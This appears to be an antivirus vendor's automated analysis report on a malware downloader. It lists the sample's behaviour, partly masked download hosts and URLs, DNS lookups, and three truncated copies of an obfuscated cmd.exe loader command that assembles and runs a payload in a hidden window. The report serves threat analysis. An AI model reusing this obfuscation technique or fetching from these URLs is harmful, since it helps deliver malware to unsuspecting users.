Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:ON\C"set R1F=pISrZoOqlsvNrCwJ$FP:Knd6.@Hty1Q{8\B,5h2)f}bYjU+ALD0Ta \;kRgXGxW(imue=4-c'z&&for %a in (16;7;44;20;68;72;17;40;48;72;55;16;12;5;27;68;21;6...
Network activity
Connects to
- 'vc###-vvp.com':80
- 'cl###lab.com':80
- 'de##rmc.pl':80
- 'ca###rzinn.in':80
- 'br####family.org':80
TCP
HTTP GET requests
- http://vc###-vvp.com/0Tfl6UZQ
- http://de##rmc.pl/pub/H0eeOPRkwr
- http://ca###rzinn.in/nl8cpNgBAl
- http://br####family.org/IXzUnQA0Q
UDP
- DNS ASK vc###-vvp.com
- DNS ASK cl###lab.com
- DNS ASK de##rmc.pl
- DNS ASK ca###rzinn.in
- DNS ASK br####family.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:ON\C"set R1F=pISrZoOqlsvNrCwJ$FP:Knd6.@Hty1Q{8\B,5h2)f}bYjU+ALD0Ta \;kRgXGxW(imue=4-c'z&&for %a in (16;7;44;20;68;72;17;40;48;72;55;16;12;5;27;68;21;6...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /V:ON/C"set R1F=pISrZoOqlsvNrCwJ$FP:Knd6.@Hty1Q{8\B,5h2)f}bYjU+ALD0Ta /;kRgXGxW(imue=4-c'z&&for %a in (16;7;44;20;68;72;17;40;48;72;55;16;12;5;27;68;21;67;14;70;5;42;44;67;71;27;53;11;67;27;24;...
